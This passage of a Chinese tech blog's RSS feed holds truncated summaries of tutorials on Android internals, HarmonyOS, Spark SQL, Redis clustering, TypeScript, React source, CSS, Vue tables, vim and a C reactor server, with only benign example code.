本学习手册深入剖析了Android系统源代码，详细讲解了Android框架初始化过程及主要组件的工作原理,旨在通过实例和案例介绍 Android Framework 的核心概念和技术，从而帮助开发者更好地理解 Android 应用程序的设计和开发。 该手册适合具有一定 Android 应用开发经验的程序员，希望能通过深入学习 Android Framework 来帮助开发者更好地理解和掌握这一技术。&#xA;第一章 系统启动流程分析 Android系统完整的启动过程，从系统层次角度可分为 Linux 系统层、Android 系统服务层、Zygote进程模型三个阶段； 知识要点：&#xA;第一节 Android启动概括、&#xA;第二节 init.rc解析、&#xA;第三节 Zygote、&#xA;第四节 面试题&#xA;第二章 跨进程通信IPC解析 Binder作为Android进程间通信的机制，可以看做是一个驱动。在Android中，常见的进程间通信例如系统类的：打电话、闹钟等；自己创建的：像WebView、视频播放、音频播放、大图浏览等。&#xA;第三章 Handler源码解析 第一节 源码分析&#xA;第二节 难点问题&#xA;第三节Handler常问面试题&#xA;搭建了一个基于chatGPT的微信群聊机器人，24小时为大家解答疑难技术问题， 需要的可以扫描二维码进群。&#xA;|</description>
    </item>
    <item>
      <title>鸿蒙原生应用/元服务开发-Stage模型能力接口（二）</title>
      <link>https://bchobby.github.io/posts/9efff70d7b8dd7d1078795178c848464/</link>
      <pubDate>Wed, 03 Jan 2024 07:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9efff70d7b8dd7d1078795178c848464/</guid>
      <description>@ohos.app.ability.AbilityConstant (AbilityConstant)&#xA;一、说明&#xA;AbilityConstant提供Ability相关的枚举，包括设置初次启动原因、上次退出原因、迁移结果、窗口类型等。本模块首批接口从API version 9开始支持。后续版本的新增接口，采用上角标单独标记接口的起始版本。本模块接口仅可在Stage模型下使用。&#xA;二、导入模块&#xA;import AbilityConstant from ‘@ohos.app.ability.AbilityConstant’;&#xA;三、属性&#xA;1.AbilityConstant.LaunchParam&#xA;启动参数。&#xA;系统能力：以下各项对应的系统能力均为SystemCapability.Ability.AbilityRuntime.Core&#xA;2.AbilityConstant.LaunchReason&#xA;Ability初次启动原因，该类型为枚举，可配合Ability的onCreate(want, launchParam)方法根据launchParam.launchReason的不同类型执行相应操作。&#xA;系统能力：以下各项对应的系统能力均为SystemCapability.Ability.AbilityRuntime.Core&#xA;示例：&#xA;import UIAbility from ‘@ohos.app.ability.UIAbility’; class MyAbility extends UIAbility { onCreate(want, launchParam) { if (launchParam.launchReason === AbilityConstant.LaunchReason.START_ABILITY) { console.log(‘The ability has been started by the way of startAbility.’); } } } 3.AbilityConstant.LastExitReason&#xA;Ability上次退出原因，该类型为枚举，可配合Ability的onCreate(want, launchParam)方法根据launchParam.lastExitReason的不同类型执行相应操作。&#xA;系统能力：以下各项对应的系统能力均为SystemCapability.Ability.AbilityRuntime.Core&#xA;示例：&#xA;import UIAbility from ‘@ohos.app.ability.UIAbility’; class MyAbility extends UIAbility { onCreate(want, launchParam) { if (launchParam.lastExitReason === AbilityConstant.</description>
    </item>
    <item>
      <title>性能优化：Spark SQL中的谓词下推和列式存储</title>
      <link>https://bchobby.github.io/posts/79afa33c879948d8d45e609d2d1e7500/</link>
      <pubDate>Wed, 03 Jan 2024 06:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79afa33c879948d8d45e609d2d1e7500/</guid>
      <description>Apache Spark是一个强大的分布式计算框架，Spark SQL是其一个核心模块，用于处理结构化数据。性能优化是大数据处理中的一个关键问题，本文将深入探讨Spark SQL中的两个性能优化技术：谓词下推（Predicate Pushdown）和列式存储（Columnar Storage），以提高查询性能和降低资源消耗。&#xA;谓词下推（Predicate Pushdown） 谓词下推是一种优化技术，它可以将过滤条件推送到数据源引擎，以减少数据传输和计算开销。在Spark SQL中，谓词下推是通过将过滤条件应用于数据源的数据文件，以减少需要加载到内存中的数据量来实现的。这可以显著提高查询性能，尤其是当处理大量数据时。&#xA;示例：谓词下推 假设有一个包含销售订单的表，其中包括订单号、销售日期和销售额。希望查询某个日期范围内的销售订单。&#xA;# 创建DataFrame orders_df = spark.read.parquet(&#34;orders.parquet&#34;) # 定义过滤条件 start_date = &#34;2023-01-01&#34; end_date = &#34;2023-12-31&#34; # 应用谓词下推 filtered_orders = orders_df.filter((orders_df[&#34;sale_date&#34;] &amp;gt;= start_date) &amp;amp; (orders_df[&#34;sale_date&#34;] &amp;lt;= end_date)) # 执行查询 filtered_orders.show() 在上面的示例中，谓词下推将过滤条件(orders_df[&#34;sale_date&#34;] &amp;gt;= start_date) &amp;amp; (orders_df[&#34;sale_date&#34;] &amp;lt;= end_date)应用于数据文件，只加载满足条件的数据，从而减少了不必要的数据传输和计算。&#xA;列式存储（Columnar Storage） 列式存储是一种数据存储格式，它将数据按列存储，而不是按行存储。这种存储方式具有许多优点，包括更高的压缩率、更快的查询性能和更少的I/O开销。在Spark SQL中，列式存储通常与Parquet格式一起使用，Parquet是一种列式存储的开放性文件格式。&#xA;示例：使用列式存储 假设有一个包含用户数据的表，其中包括用户ID、姓名、年龄和地址。将数据保存为Parquet格式，以利用列式存储的性能优势。&#xA;# 创建DataFrame users_df = spark.createDataFrame([(1, &#34;Alice&#34;, 30, &#34;123 Main St&#34;), (2, &#34;Bob&#34;, 25, &#34;456 Elm St&#34;)], [&#34;id&#34;, &#34;</description>
    </item>
    <item>
      <title>使用UDF扩展Spark SQL</title>
      <link>https://bchobby.github.io/posts/7b897facf816ccd775597ce318c92d9d/</link>
      <pubDate>Wed, 03 Jan 2024 06:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b897facf816ccd775597ce318c92d9d/</guid>
      <description>Apache Spark是一个强大的分布式计算框架，Spark SQL是其一个核心模块，用于处理结构化数据。虽然Spark SQL内置了许多强大的函数和操作，但有时可能需要自定义函数来处理特定的数据需求。在Spark SQL中，可以使用UDF（User-Defined Functions）来自定义函数，以扩展Spark SQL的功能。本文将深入探讨如何使用UDF扩展Spark SQL，包括UDF的定义、注册、使用以及一些实际用例。&#xA;UDF简介 UDF是一种用户自定义的函数，可以在Spark SQL查询中使用自定义的计算逻辑。UDF可以用于扩展Spark SQL的功能，使其能够执行自定义操作，无论是数据清洗、数据转换还是其他复杂的计算。UDF通常由用户编写的代码组成，并且可以在SQL查询中像内置函数一样使用。&#xA;定义UDF 在使用UDF之前，首先需要定义UDF。在Spark中，可以使用Scala、Java或Python来编写UDF。下面是一个使用Python定义UDF的示例。&#xA;示例：定义一个简单的UDF 假设有一个包含员工姓名的表，并且希望将所有的名字转换为大写。可以编写一个简单的Python函数来实现这个功能，并将其定义为UDF。&#xA;from pyspark.sql.functions import udf from pyspark.sql.types import StringType # 定义UDF函数 def upper_case(name): return name.upper() # 注册UDF upper_case_udf = udf(upper_case, StringType()) 在上面的示例中，首先定义了一个名为upper_case的Python函数，它接受一个字符串参数并返回大写的字符串。然后，使用udf函数将其注册为UDF，并指定返回的数据类型为字符串类型。&#xA;注册UDF 一旦UDF函数被定义，需要将其注册到Spark SQL的会话中，以便在查询中使用。下面是如何注册UDF的示例。&#xA;示例：注册UDF函数 # 注册UDF函数 spark.udf.register(&#34;upper_case_udf&#34;, upper_case, StringType()) 在上面的示例中，使用register方法将upper_case_udf函数注册到Spark SQL的会话中。现在，可以在SQL查询中使用它。&#xA;使用UDF 一旦UDF函数被注册，可以在Spark SQL查询中使用它。下面是如何在查询中使用UDF的示例。&#xA;示例：使用UDF函数 # 使用UDF函数进行查询 result = spark.sql(&#34;SELECT name, upper_case_udf(name) AS upper_name FROM employees&#34;) result.show() 在上面的示例中，在查询中调用了upper_case_udf函数，将name列的值转换为大写，并将结果列命名为upper_name。&#xA;UDF的实际用例 看一些实际的用例，演示如何使用UDF来解决复杂的数据处理问题。&#xA;1 数据清洗 假设有一个包含电话号码的表，电话号码的格式不统一，包括带有国家代码、空格、破折号等不同的格式。可以编写一个UDF来清洗这些电话号码，使其统一为一种格式。</description>
    </item>
    <item>
      <title>十五：爬虫-Scrapy-redis分布式</title>
      <link>https://bchobby.github.io/posts/5c71729da81703f3fd15a5b109a81ef6/</link>
      <pubDate>Wed, 03 Jan 2024 02:06:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c71729da81703f3fd15a5b109a81ef6/</guid>
      <description>一：python操作redis 1.redis的安装与连接 安装 pip install redis 连接 r = redis.StrictRedis(host=&#39;localhost&#39;,port=6379,db=0) 2.redis数据类型相关操作 （1）字符串相关操作 import redis class TestString(object): # 初始化 连接redis数据库 def __init__(self): self.r = redis.StrictRedis(host=&#39;127.0.0.1&#39;, port=6379) # 设置值 def test_set(self): res = self.r.set(&#39;user1&#39;, &#39;yueyue-1&#39;) print(res) # 取值 def test_get(self): res = self.r.get(&#39;user1&#39;) print(res,type(res)) res = res.decode(&#39;UTF-8&#39;) print(res, type(res)) # 设置多个值 def test_mset(self): d = { &#39;user2&#39;: &#39;yueyue-2&#39;, &#39;user3&#39;: &#39;yueyue-3&#39; } res = self.r.mset(d) print(res) # 取多个值 def test_mget(self): l = [&#39;user2&#39;, &#39;user3&#39;] res = self.</description>
    </item>
    <item>
      <title>并发编程(高并发、多线程)</title>
      <link>https://bchobby.github.io/posts/d6c59c142ae9ac72d52a80e15f94a430/</link>
      <pubDate>Wed, 03 Jan 2024 01:42:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6c59c142ae9ac72d52a80e15f94a430/</guid>
      <description>并发编程 1.并发编程1.1 Java程序中怎么保证多线程的运行安全？（难度：★★ 频率：★★★★★）1.1.1 并发编程三要素1.1.2 原子性、可见性、有序性问题的解决方法 1.2 Synchronized（难度：★★ 频率：★★★）1.2.1 synchronized的三种加锁方法1.2.2 提高synchronized的并发性能 1.3 volatile（难度：★★ 频率：★★★★）1.3.1 保证可见性1.3.2 禁止指令重排序1.3.3 不保证原子性 1.4 volatile和synchronized的区别（难度：★★ 频率：★★）1.5 死锁（难度：★★ 频率：★★★★★）1.5.1 形成死锁的四个必要条件是什么1.5.2 如何避免线程死锁 2.线程2.1 创建线程的几种方式（难度：★ 频率：★★★★★）2.2 runnable和callable的区别（难度：★ 频率：★★★）2.3 为什么是调用start(), 而不调用run()（难度：★ 频率：★★★★★）2.4 Future（难度：★★ 频率：★★）2.4.1 Future的常用方法2.4.2 Future的局限性2.4.3 FutureTask 2.5 CompletableFuture（难度：★★ 频率：★★★）2.5.1 异步执行2.5.2 获取异步执行结果2.5.3 任务结束后执行方法2.5.4 处理异步任务结果2.5.4.1 转换结果2.5.4.2 消费结果 2.5.5 两个结果组合2.5.6 任务竞速2.5.7 处理异常2.5.8 全部结束、任意一个结束2.5.9 异步线程阻塞主线程的情况 2.6 CompletionService（难度：★★ 频率：★★）2.7 线程的生命周期（难度：★★ 频率：★★★）2.8 sleep() 和 wait() 有什么区别?（难度：★ 频率：★★★★） 1.并发编程 1.1 Java程序中怎么保证多线程的运行安全？（难度：★★ 频率：★★★★★） 1.1.1 并发编程三要素 首先我们要了解并发编程的三要素</description>
    </item>
    <item>
      <title>【零基础入门TypeScript】TypeScript - 基本语法</title>
      <link>https://bchobby.github.io/posts/34b22ce8f7af36e9604a32c51b05562a/</link>
      <pubDate>Wed, 03 Jan 2024 00:05:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34b22ce8f7af36e9604a32c51b05562a/</guid>
      <description>目录&#xA;你的第一个 TypeScript 代码&#xA;编译并执行 TypeScript 程序&#xA;编译器标志&#xA;TypeScript 中的标识符&#xA;TypeScript ─ 关键字&#xA;空格和换行符&#xA;TypeScript 区分大小写&#xA;分号是可选的&#xA;TypeScript 中的注释&#xA;TypeScript 和面向对象&#xA;语法定义了一组编写程序的规则。每种语言规范都定义了自己的语法。TypeScript 程序由以下部分组成：&#xA;ModulesFunctionsVariablesStatements and ExpressionsComments 你的第一个 TypeScript 代码 让我们从传统的“Hello World”示例开始 -&#xA;var message:string = &#34;Hello World&#34; console.log(message) 编译时，它将生成以下 JavaScript 代码。&#xA;//Generated by typescript 1.8.10 var message = &#34;Hello World&#34;; console.log(message); 第 1 行通过名称 message 声明一个变量。变量是程序中存储值的一种机制。&#xA;第 2 行将变量的值打印到提示符处。这里，控制台指的是终端窗口。函数log()用于在屏幕上显示文本。&#xA;编译并执行 TypeScript 程序 让我们看看如何使用 Visual Studio Code 编译和执行 TypeScript 程序。请按照以下步骤操作 -</description>
    </item>
    <item>
      <title>【零基础入门TypeScript】类型和变量</title>
      <link>https://bchobby.github.io/posts/e5d961a106ae2beb6f145ef9d7d56eb1/</link>
      <pubDate>Wed, 03 Jan 2024 00:04:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5d961a106ae2beb6f145ef9d7d56eb1/</guid>
      <description>目录&#xA;任意类型&#xA;内置类型&#xA;Null 和 undefined ─ 它们是一样的吗？&#xA;用户定义类型&#xA;TypeScript 中的变量声明&#xA;示例：TypeScript 中的变量&#xA;TypeScript 中的类型断言&#xA;例子&#xA;TypeScript 中的推断类型&#xA;示例：推断类型&#xA;TypeScript 变量作用域&#xA;示例：变量范围&#xA;类型系统表示该语言支持的不同类型的值。在程序存储或操作所提供的值之前，类型系统会检查它们的有效性。这确保了代码的行为符合预期。类型系统还允许更丰富的代码提示和自动化文档。&#xA;TypeScript 提供数据类型作为其可选类型系统的一部分。数据类型分类如下 -&#xA;任意类型 Any数据类型是 TypeScript 中所有类型的超类型。它表示动态类型。使用any类型相当于选择不进行变量的类型检查。&#xA;内置类型 下表说明了 TypeScript 中的所有内置类型 -&#xA;Data typeKeywordDescriptionNumbernumberDouble precision 64-bit floating point values. It can be used to represent both, integers and fractions.StringstringRepresents a sequence of Unicode charactersBooleanbooleanRepresents logical values, true and falseVoidvoidUsed on function return types to represent non-returning functionsNullnullRepresents an intentional absence of an object value.</description>
    </item>
    <item>
      <title>Redis的集群模式：主从 &amp; 哨兵 &amp; 分片集群</title>
      <link>https://bchobby.github.io/posts/2fb77d78fa2ebca416a22c681070b171/</link>
      <pubDate>Tue, 02 Jan 2024 23:53:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2fb77d78fa2ebca416a22c681070b171/</guid>
      <description>基于Redis集群解决单机Redis存在的问题，在之前学Redis一直都是单节点部署 单机或单节点Redis存在的四大问题： 数据丢失问题：Redis是内存存储，服务重启可能会丢失数据 =&amp;gt; 利用Redis数据持久化的功能将数据写入磁盘并发能力问题：单节点Redis并发能力虽然不错，但也无法满足如618这样的高并发场景 =&amp;gt; 搭建一主多从集群，实现读写分离单点故障 - 故障恢复问题：如果Redis宕机，则服务不可用，需要一种自动的故障恢复手段 =&amp;gt; 利用Redis哨兵，实现健康检测和自动故障恢复存储能力问题：Redis基于内存存储，单节点能存储的数据量难以满足海量数据要求 =&amp;gt; 搭建分片集群，利用插槽机制实现动态扩容，从理论上来讲，它的存储能力是没有上限的 介绍一下Redis的集群模式？ Redis有三种主要的集群模式，用于在分布式环境中实现高可用性和数据复制，这些集群模式分别是：主从复制（Master-Slave Replication）、哨兵模式（Sentinel）和Redis Cluster模式。 1. Redis主从 搭建主从架构主从数据同步原理 单节点Redis的并发能力是有上限的，要进一步提高Redis的并发能力，就需要搭建主从集群，实现读写分离。&#xA;主从模式简介 主从复制是Redis最简单的集群模式，这个模式主要是为了解决单点故障的问题，所以将数据复制到多个副本中，这样即使有一台服务器出现故障，其它服务器依然可以继续提供服务。主从模式中，包括一个主节点（Master）和一个或多个从节点（Slave），主节点负责处理所有写操作和读操作，而从节点则复制主节点的数据，并且只能处理读操作，当主节点发送故障时，可以将一个从节点升级为主节点，实现故障转移（需要手动实现）。 1.1.主从集群结构 Redis的集群往往都是主从集群，它往往会有一个Master主节点，多个Slave / Replica从节点。 下图就是一个简单的Redis主从集群结构：&#xA;如图所示，集群中有一个Master主节点、两个Slave从节点（现在叫Replica） =&amp;gt; 起码要包含三个节点，要有三个Redis实例，一主两从。&#xA;在Redis 5.0以前，从节点是叫Slave的，后来改名叫Replica =&amp;gt; 都是代表从节点 当我们通过Redis的Java客户端访问主从集群时，应该做好路由：&#xA;如果是写操作，应该访问Master主节点，Master主节点会自动将数据同步给两个Slave从节点&#xA;如果是读操作，建议访问各个Slave从节点，从而分担并发压力&#xA;Master主节点可以执行set命令（写操作），Replica从节点只能执行get命令（读操作） 。&#xA;为什么Redis要做成这种主从的集群，而不是传统的负载均衡集群呢？ 这是因为Redis应用当中大多数都是读多写少的场景，也就是查询比较多，而增删改比较少，既然如此，我们更多要应对的是读的压力，那我做了主从以后，我们还可以去做读写分离， 也就是说，我在执行写操作时，我让它去访问Master主节点，但如果执行的是读操作，那我就把你的请求分发到各个Slave或Replica从节点，这样我们一主多从，多个从节点共同承担读的请求，我们的读并发能力就可以得到一个比较大的提升，所以这就是为什么要搭建主从集群的一个原因了。但是做主从集群，必须保证一点，就是客户端在读取的时候，不管访问到哪个Slave从节点，都必须要保证拿到相同的结果 =&amp;gt; 如何保证？ 需要让Master主节点把它上面的数据同步给每一个Slave从节点，这就是Redis主从架构的一个基本模式了 1.2 搭建主从集群 1. 准备实例和配置 我们会在同一台虚拟机中开启3个Redis实例，模拟主从集群。 我们会在同一个虚拟机中利用3个Docker容器来搭建主从集群。&#xA;要在同一台虚拟机开启3个实例，必须准备三份不同的配置文件和目录，配置文件所在目录也就是工作目录。&#xA;在同一个机器下还要修改每个实例的端口&#xA;2. 启动 &amp;amp; 开启主从关系&#xA;分别启动多个Redis实例，虽然我们启动了3个Redis实例，但是它们并没有形成主从关系，我们需要通过命令来配置主从关系：&#xA;# Redis5.0以前 slaveof &amp;lt;masterip&amp;gt; &amp;lt;masterport&amp;gt; # Redis5.0以后 replicaof &amp;lt;masterip&amp;gt; &amp;lt;masterport&amp;gt; 有临时和永久两种模式： 永久生效：在redis.</description>
    </item>
    <item>
      <title>MINCO&#43;汽车</title>
      <link>https://bchobby.github.io/posts/51cb60f605f4b51e7f3f1b2dc94cb993/</link>
      <pubDate>Tue, 02 Jan 2024 23:16:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51cb60f605f4b51e7f3f1b2dc94cb993/</guid>
      <description> 对于环境中的静态障碍物，我们构造几何自由空间来约束自我车辆的完整模型以保证安全。&#xA;对于动态障碍物，我们使用凸多边形来覆盖其形状。&#xA;然后，我们约束小车与障碍物多边形在每一时刻的符号距离[1]的下界近似，以保证小车的安全。&#xA;最小控制努力轨迹类[2]用于参数化轨迹以加快优化过程。&#xA;进一步，将原约束规划问题转化为无约束规划问题，并采用拟牛顿方法[3]进行鲁棒求解。&#xA;第三节介绍了自动驾驶汽车的时空轨迹规划。&#xA;瞬时状态约束和动态避障约束分别在第四节和第五节讨论。&#xA;在第六节中，我们重新表述了轨迹优化。&#xA;VII给出了基准和真实世界的实验。本文在第八节结束。&#xA;讨论了完整的运动规划流水线，并介绍了类车机器人的差分平面模型。然后，我们给出了平面输出空间中考虑人的舒适性、执行时间和可行性约束的轨迹优化问题的表达式。&#xA;最后分析了该问题的梯度传播链，为后续的数值优化提供了依据。&#xA;时空最优轨迹规划 A.规划管线 整个管道采用分层结构，如图3所示。在实际应用中，建议的规划器与前端规划器合作，前端规划器的主要作用是提供初始猜测。在结构化的道路环境中，我们的规划师被整合到一个多层的规划框架中[19]，其中行为策略规划器用于提供前端输出。在没有参考线的非结构化环境中，我们采用轻量级hybridA*算法寻找无碰撞路径，并由所提出的规划器进一步优化。我们定义了一个额外的变量η∈{−1,1}来表征运动方向，η =−1和η = 1分别表示车辆的前后运动。此外,η由前端输出决定，并在后端优化过程之前加上前缀。&#xA;B.差分平面车辆模型 本文采用了简化的自行车运动模型&#xA;用笛卡尔坐标系来描述四轮车辆。&#xA;假设汽车为前轮驱动和转向，具有完美的滚动和无打滑，模型如图4所示。状态向量为&#xA;其中为后轮中心位置，v为车身框架的纵向速度，at为经度加速度，an为纬度加速度，φ为前轮转向角度，κ为曲率。&#xA;其中L是汽车的轴距长度，CoG是重心的缩写。由于对差分平面汽车模型的深入研究[51]，我们选择平面输出为具有物理意义，σ = p是汽车后轮中心的位置。除px、py外，其他变量变换可表示为:&#xA;因此，利用自然的微分平坦性，我们可以利用平坦输出及其有限导数来表征车辆的任意状态量，从而简化了轨迹规划，便于优化。&#xA;C.整车平坦输出优化方案 其中n为轨迹段的数目，β(t)为自然基。系数矩阵&#xA;然后，轨迹第i段的第j段可写为 ,&#xA;考虑避障约束和动态可行性约束，涉及时间正则化的最小控制努力问题可以表示为非线性约束优化:&#xA;是一个惩罚控制的对角线矩阵。&#xA;等式（6c）为边界条件&#xA;特定的约束条件等式(6d)&#xA;D = {d： d = v，at，an，κ，ζ，Θ}包括动态可行性（v，at，an，κ）、静态和动态避障（ζ，Θ）&#xA;可行性约束条件等式（6g）施加在整个轨迹&#xA;D.梯度推导 瞬时状态约束 A.动态可行性 经度速度限制：对于自动驾驶，由于交通规则、物理车辆性能和环境不确定性等实际因素，经度速度总是需要限制在一个合理的范围内。然后，将在一个约束点处的经度速度的约束函数定义如下&#xA;B. 避免静态障碍 在本小节中，我们分析地提出了基于环境中自由空间的几何表示的有效可计算的静态安全约束。首先对语义环境进行分解，提取安全空间，构造一个由一系列凸多边形组成的驾驶走廊。然后，推导了在行驶走廊中建立全车模型的充分必要条件，并用于构造静态无碰撞约束&#xA;在进行特定的推导之前，我们将介绍约束建模的管道。我们首先将前端生成的无碰撞路径离散为与后端优化中约束点数量相同的采样点。然后，结合环境信息，利用[60]方法或根据采样点直接展开生成自由凸多边形。因此，通过将全车辆模型限制在8个约束点，每个约束点限制到相应的凸多边形，保证了整个轨迹是安全的.&#xA;还可以与其他常见的地图表示相结合，以保证静态避障，如欧几里得符号距离场（ESDF）。直观地说，我们可以从ESDF地图中获得梯度信息，以推动车辆的整个刚体远离障碍物&#xA;动态避障 动态回避约束函数的动态回避约束函数。&#xA;A.距离表示 B. 对动态避障的约束 重新对轨迹的优化的设计 A. 可行性限制 B.平等约束 </description>
    </item>
    <item>
      <title>基于多反应堆的高并发服务器【C/C&#43;&#43;/Reactor】（中）处理任务队列中的任务 添加 删除 修改</title>
      <link>https://bchobby.github.io/posts/25b74bd1b75f0efd17c9122e4826d91d/</link>
      <pubDate>Tue, 02 Jan 2024 23:08:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25b74bd1b75f0efd17c9122e4826d91d/</guid>
      <description>（1）EventLoop启动 EventLoop初始化和启动&#xA;// 启动反应堆模型 int eventLoopRun(struct EventLoop* evLoop) { assert(evLoop != NULL); // 取出事件分发和检测模型 struct Dispatcher* dispatcher = evLoop-&amp;gt;dispatcher; // 比较线程ID是否正常 if(evLoop-&amp;gt;threadID != pthread_self()) { return -1; } // 循环进行事件处理 while(!evLoop-&amp;gt;isQuit) { dispatcher-&amp;gt;dispatch(evLoop,2); // 超时时长 2s // 已续写 eventLoopProcessTask(evLoop); } return 0; } 多加一句eventLoopProcessTask(evLoop); 理由在后文提到！&#xA;（2）添加任务到任务队列中（在EventLoop的任务队列中添加新任务）&#xA;// 添加任务到任务队列 int eventLoopAddTask(struct EventLoop* evLoop,struct Channel* channel,int type) { // 加锁，保护共享资源 pthread_mutex_lock(&amp;amp;evLoop-&amp;gt;mutex); // 创建新节点,后添加到任务队列中去 struct ChannelElement* node = (struct ChannelElement*)malloc(sizeof(struct ChannelElement)); node-&amp;gt;channel = channel; node-&amp;gt;type = type; node-&amp;gt;next = NULL; // 链表为空 if(evLoop-&amp;gt;head == NULL) { evLoop-&amp;gt;head = evLoop-&amp;gt;tail = node; }else { evLoop-&amp;gt;tail-&amp;gt;next = node; // 添加 evLoop-&amp;gt;tail = node; // 后移 } pthread_mutex_unlock(&amp;amp;evLoop-&amp;gt;mutex); if(evLoop-&amp;gt;threadID == pthread_self()) { // 当前子线程 eventLoopProcessTask(evLoop); }else{ // 主线程 -- 告诉子线程处理任务队列中的任务 // 1.</description>
    </item>
    <item>
      <title>React16源码: memo, Fragment, StrictMode, cloneElement, createFactory源码实现</title>
      <link>https://bchobby.github.io/posts/748346c0695db4f70c5f9117e318db00/</link>
      <pubDate>Tue, 02 Jan 2024 23:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/748346c0695db4f70c5f9117e318db00/</guid>
      <description>memo 1 ） 概述&#xA;memo 在react 16.6 推出的一个API它的用意是让 function component，有一个类似 PureComponent 的一个功能 PureComponent 提供了 class component 组件类型在props没有变化的情况下，它可以不重新渲染 目的是给 function component 做一个 PureComponent 的对标这个用法很简单，就不进行举例了 2 ) 源码解析&#xA;// memo.js /** * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ import {REACT_MEMO_TYPE} from &#39;shared/ReactSymbols&#39;; import isValidElementType from &#39;shared/isValidElementType&#39;; import warningWithoutStack from &#39;shared/warningWithoutStack&#39;; export default function memo&amp;lt;Props&amp;gt;( type: React$ElementType, compare?</description>
    </item>
    <item>
      <title>CSS-6</title>
      <link>https://bchobby.github.io/posts/a6b23edac0359eaebcf5f31ae81df2b7/</link>
      <pubDate>Tue, 02 Jan 2024 22:53:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6b23edac0359eaebcf5f31ae81df2b7/</guid>
      <description>响应式网页 如何实现响应式网页？ 解决方案： 方法1. 通过媒体查询的方法 @media (条件) { html { background-color: green; } } 方法2. 使用 Bootstrap 框架 方法一 基本使用 &amp;lt;style&amp;gt; /* 屏幕宽度小于等于768，网页背景色是粉色 --- 小于等于 &amp;lt;==&amp;gt; max-width */ @media (max-width: 768px) { body { background-color: pink; } } /* 屏幕宽度大于等于1200，网页背景色是绿色 --- 大于等于 &amp;lt;==&amp;gt; min-width */ @media (min-width: 1200px) { body { background-color: green; } } &amp;lt;/style&amp;gt; 以上是媒体查询的基本使用 书写顺序 &amp;lt;style&amp;gt; /* 网页默认背景色是灰色 */ body { background-color: #ccc; } /* 屏幕宽度 大于等于 768px，网页背景色是粉色 */ @media (min-width: 768px) { body { background-color: pink; } } /* 屏幕宽度 大于等于 992px，网页背景色是绿色 */ @media (min-width: 992px) { body { background-color: green; } } /* 屏幕宽度 大于等于 1200px，网页背景色是skyblue */ @media (min-width: 1200px) { body { background-color: skyblue; } } &amp;lt;/style&amp;gt; 书写顺序： min-width（从小到大） max-width（从大到小） 左侧隐藏案例 &amp;lt;style&amp;gt; * { margin: 0; padding: 0; } .</description>
    </item>
    <item>
      <title>vue3 element plus el-table封装（三）</title>
      <link>https://bchobby.github.io/posts/359e388c95f624e0d948a2fc6e0d68c0/</link>
      <pubDate>Tue, 02 Jan 2024 22:31:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/359e388c95f624e0d948a2fc6e0d68c0/</guid>
      <description>上文是对el-table的基本封装上增加slot插槽，并且对col插槽进行拓展，本文主要时增加分页组件，同时进行slot传递&#xA;//BaseTable.vue没有变&#xA;&amp;lt;template&amp;gt; &amp;lt;el-table&amp;gt; &amp;lt;template v-for=&#34;name in tableSlots&#34; :key=&#34;name&#34; #[name]&amp;gt; &amp;lt;slot :name=&#34;name&#34;&amp;gt;&amp;lt;/slot&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;el-table-column v-for=&#34;(col, index) in attrs.config&#34; :key=&#34;index&#34; v-bind=&#34;col&#34; &amp;gt; &amp;lt;template v-if=&#34;col.slot&#34; #[getColSlot(col)]=&#34;scope&#34;&amp;gt; &amp;lt;slot :name=&#34;col.slot&#34; v-bind=&#34;scope&#34;&amp;gt;&amp;lt;/slot&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;/el-table&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script lang=&#34;ts&#34; setup&amp;gt; const attrs = useAttrs(); const slots = useSlots(); const tableSlots = computed(() =&amp;gt; { // 原生el-table插槽只有default,append,empty // 原生el-table-column插槽只有table插槽只有default,header // 这里将header单独处理，认为是col的插槽，从table插槽中排除 return Object.keys(slots).filter((name) =&amp;gt; name !== &#34;header&#34;); }); const getColSlot = (col) =&amp;gt; { return col.slot === &#34;</description>
    </item>
    <item>
      <title>Linux vi/vim 教程</title>
      <link>https://bchobby.github.io/posts/541c2f337343dedaacb16604f990bcee/</link>
      <pubDate>Tue, 02 Jan 2024 22:19:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/541c2f337343dedaacb16604f990bcee/</guid>
      <description>文章目录 【 1. vi/vim 的三种模式 】1.1 命令模式1.2 输入模式1.3 底线命令模式 【 2. 实例 】【 3. vim 的其他命令 】 所有的 Unix Like 系统都会内建 vi 文本编辑器，其他的文本编辑器则不一定会存在。目前我们使用比较多的是 vim 编辑器。vim 从 vi 发展出来，vim 具有程序编辑的能力，可以主动的以字体颜色辨别语法的正确性，方便程序设计。 【 1. vi/vim 的三种模式 】 基本上 vi/vim 共分为三种模式，命令模式（Command Mode）、输入模式（Insert Mode）和命令行模式（Command-Line Mode）。&#xA;1.1 命令模式 用户刚刚启动 vi/vim， 默认进入命令模式（也称普通模式）。此状态下敲击键盘动作会被 Vim 识别为命令，而非输入字符，比如我们此时按下 i，并不会输入一个字符，i 被当作了一个命令。 命令模式只有一些最基本的命令，因此仍要依靠底线命令行模式输入更多命令。以下是命令模式常用的几个命令： 命令作用i切换到输入模式，在光标当前位置开始输入文本。: （英文冒号）切换到底线命令模式，以在最底一行输入命令。x删除当前光标所在处的字符。a进入插入模式，在光标下一个位置开始输入文本。o在当前行的下方插入一个新行，并进入插入模式。O在当前行的上方插入一个新行，并进入插入模式。dd删除当前行。yy复制当前行。p（小写）粘贴剪贴板内容到光标下方。P（大写）粘贴剪贴板内容到光标上方。u撤销上一次操作。Ctrl + r重做上一次撤销的操作。:w保存文件。:q退出 Vim 编辑器。:q!强制退出Vim 编辑器，不保存修改。 1.2 输入模式 输入模式中，常用操作： 